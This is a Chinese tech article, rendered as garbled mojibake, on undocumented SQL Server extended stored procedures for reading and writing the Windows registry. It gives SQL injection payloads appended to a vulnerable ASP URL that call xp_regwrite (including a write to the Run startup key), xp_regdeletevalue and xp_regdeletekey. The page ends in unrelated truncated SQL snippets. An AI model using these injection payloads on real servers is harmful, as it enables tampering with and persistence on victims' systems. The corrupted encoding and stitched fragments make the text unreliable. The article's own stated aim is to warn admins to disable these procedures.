SQL ServerÖÐδ¹«²¼µÄÀ©Õ¹´æ´¢¹ý³Ì
SQL ServerÖÐδ¹«²¼µÄÀ©Õ¹´æ´¢¹ý³Ì
×÷Õß: echsys, ¡¡³ö´¦:blog,¡¡ÔðÈαà¼: ÀîÊéÇÙ,¡¡
2008-09-09 07:00
¡¡¡¡ÔÚSQL ServerÖаüº¬Á˼¸¸ö¿ÉÒÔ·ÃÎÊϵͳע²á±íµÄÀ©Õ¹´æ´¢¹ý³Ì¡£ËüÃÇÌṩÁËÔÚµ±Ç°µÄSQL Server°æ±¾ÖзÃÎÊϵͳע²á±íµÄÄÜÁ¦£¬¶øÇҺܶàÈËÀûÓÃSQL ServerÀ´½øÐй¥»÷ϵͳ¡£±¾ÎĽéÉÜÁËÈçºÎÔÚSQL ServerÖнûÓÃËûÃÇ¡£
¡¡¡¡ËäÈ»´ó¶àÊýÈ˶øÑÔ²¢²»ÊìϤ£¬µ«ÔÚSQL ServerÖаüº¬Á˼¸¸ö¿ÉÒÔ·ÃÎÊϵͳע²á±íµÄÀ©Õ¹´æ´¢¹ý³Ì¡£µ«Êµ¼ÊÉÏÕ⼸¸öÀ©Õ¹´æ´¢¹ý³Ì¶¼ÊÇδ¹«¿ªµÄ£¬´ÓSQL Server 7.0¾ÍÓÐÁË,ÔÚSQL server 2000ÖÐÈÔÈ»±£Áô,ËûÃÇÒÔºó¿ÉÄÜ»áɾ³ý¡£µ«ÊÇÕ⼸¸ö´æ´¢¹ý³ÌÈ´ÌṩÁËÔÚµ±Ç°µÄSQL Server°æ±¾ÖзÃÎÊϵͳע²á±íµÄÄÜÁ¦£¬¶øÇҺܶàÈËÀûÓÃSQL ServerÀ´½øÐй¥»÷ϵͳʱ£¬ÍùÍù¶¼»áÓõ½Õ⼸¸öÀ©Õ¹´æ´¢¹ý³Ì£¬ËùÒÔ×îºÃÔÚSQL ServerÖнûÓÃËûÃÇ¡£
¡¡¡¡¼ÙÈçhttp://127.0.0.1/view.asp?id=165´æÔÚSQL ServerµÄsql×¢È룬ÎÒÃÇ¿ÉÒÔÓÃxp_regwriteдÈë×¢²á±í¡£
¡¡¡¡Ê¹Ó÷½·¨:
¡¡¡¡xp_regwrite ¸ù¼ü,×Ó¼ü, ÖµÃû, ÖµÀàÐÍ, Öµ
http://127.0.0.1/view.asp?id=165; exec
¡¡¡¡master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','
¡¡¡¡SOFTWARE\Microsoft\Windows\CurrentVersion\run','
¡¡¡¡TestValueName','reg_sz','hello'
¡¡¡¡×¢ÊÍ£ºÖµÀàÐÍÓÐÁ½ÖÖREG_SZ ±íʾ×Ö·ûÐÍ,REG_DWORD ±íʾÕûÐÍ(ÓÃxp_regdeletevalueɾ³ýij¸öÖµ)¡£
¡¡¡¡Ê¹Ó÷½·¨:
¡¡¡¡xp_regdeletevalue ¸ù¼ü,×Ó¼ü,ÖµÃû¡¡
http://127.0.0.1/view.asp?id=165; exec master.
¡¡¡¡xp_regdeletevalue 'HKEY_LOCAL_MACHINE','
¡¡¡¡SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
¡¡¡¡xp_regdeletekey ɾ³ý¼ü,°üÀ¨¸Ã¼üÏÂËùÓÐÖµ
¡¡¡¡Ê¹Ó÷½·¨:
http://127.0.0.1/view.asp?id=165; exec
¡¡¡¡master.xp_regdeletekey 'HKEY_LOCAL_MACHINE','
¡¡¡¡SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
Ïà¹ØÎĵµ£º
set @sql = 'select * from OPENROWSET(''SQLOLEDB'',''SERVER='+@serverip+';uid=sa;pwd=sa;Database='+@databaseName+''',''SET FMTONLY OFF;set nocount on exec procName '''''+@yqid+''''''' ) as   ......
Èç¹ûSQL Server³ÌÐòÔ±Ï뽫±í´ïʽ´ÓÒ»ÖÖ»»ÎªÁíÒ»ÖÖ£¬Ëû¿ÉÒÔ´ÓSQL Server 7ºÍ2000ÖÐ×Ô´øµÄÁ½ÖÖ¹¦ÄÜÖÐ×ö³öÑ¡Ôñ¡£ÔÚ´æ´¢¹ý³Ì»òÆäËûÇé¿öÏ£¬ÎÒÃdz£³£ÐèÒª½«Êý¾Ý´ÓdatetimeÐÍת»¯³ÉvarcharÐÍ£»CONVERTºÍCAST¾Í¿ÉÒÔÓÃÓÚÕâÖÖÇé¿ö¡£
¡¡¡¡ÓÉÓÚSQL ServerÌṩÁ½ÖÖ¹¦ÄÜ£¬Òò´ËÓ¦¸ÃÑ¡ÔñÄÄÖÖ¹¦ÄÜ»òÓ¦¸ÃÔÚÄÄÖÖÇé¿öÏÂʹÓøù¦ÄܾͺÜÈÝÒ×Èà ......
×î½üÁ½ÌìÒ»Ö±ÔÚÕÛÌÚSQLÓï¾ä£¬Ã»°ì·¨£¬Ð´Êý¾Ý¿âµÄÐֵܸøÁËÁ½¸öÀý×ӾͲ»ÔÙ¹ÜÁË£¬¶øÇÒ×î½üÇë¼ÙÁË¡£½ñÌì¼Ó°à»¹ÊÇÕÛÌÚÕâôһ¸öÓï¾ä£¬×ÜÊDz»¶Ô£¬ÇëÀÏ´ó¿´ÁË¿´»¹ÊÇû¿´³öÃŵÀÀ´£¬ ÔÚSQLite Expert Professional ÀïÃæдµÄÓï¾ä¶¼¿ÉÒÔÖ´Ðгɹ¦£¬µ«ÊÇÔÚAndroidµÄ¹¤³ÌÀïÃæÔõôÕÛÌھͲ»¶Ô¡£ ÓôÃÆ°¡£¬½ñÌì¼Ó°àËãÊÇ°×¼ÓÁË¡£
ΪÁ˲éÕÒºÍÑ§Ï ......
¡¡¡¡±¾ÎÄÌÖÂÛSQL Server 2005µÄй¦ÄÜ£¬ËüÔÊÐíÄ㽫XMLÊý¾Ý·Ö½âµ½¹Øϵ¸ñʽÖУ¬¶ø²»±ØºÄÓÃÌ«¶àÄÚ´æ¡£
¡¡¡¡±¾ÎÄÌÖÂÛSQL Server 2005µÄй¦ÄÜ£¬ËüÔÊÐíÄ㽫XMLÊý¾Ý·Ö½âµ½¹Øϵ¸ñʽÖУ¬¶ø²»±ØºÄÓÃÌ«¶àÄÚ´æ¡£
¡¡¡¡ÔÚ¾ÙÀý˵Ã÷ÈçºÎ·Ö½âÉÏһƪÎÄÕÂÖеÄÊý¾Ýʱ£¬ÎÒÃÇÊ×ÏÈÁ˽âÒ»ÏÂXQueryºÍËüÔÚSQL Server 2005ÖÐΪ¿ª·¢ÕßÌṩµÄ¹¦ÄÜ¡£
¡ ......
¡¡¡¡(1)ÕûºÏ¼òµ¥,ÎÞ¹ØÁªµÄÊý¾Ý¿â·ÃÎÊ£º
¡¡¡¡Èç¹ûÄãÓм¸¸ö¼òµ¥µÄÊý¾Ý¿â²éѯÓï¾ä,Äã¿ÉÒÔ°ÑËüÃÇÕûºÏµ½Ò»¸ö²éѯÖÐ(¼´Ê¹ËüÃÇÖ®¼äûÓйØϵ)
¡¡¡¡(2)ɾ³ýÖظ´¼Ç¼£º
¡¡¡¡×î¸ßЧµÄɾ³ýÖظ´¼Ç¼·½·¨ ( ÒòΪʹÓÃÁËROWID)Àý×Ó£º
¡¡¡¡DELETE from EMP E WHERE E.ROWID > (SELECT MIN(X. ......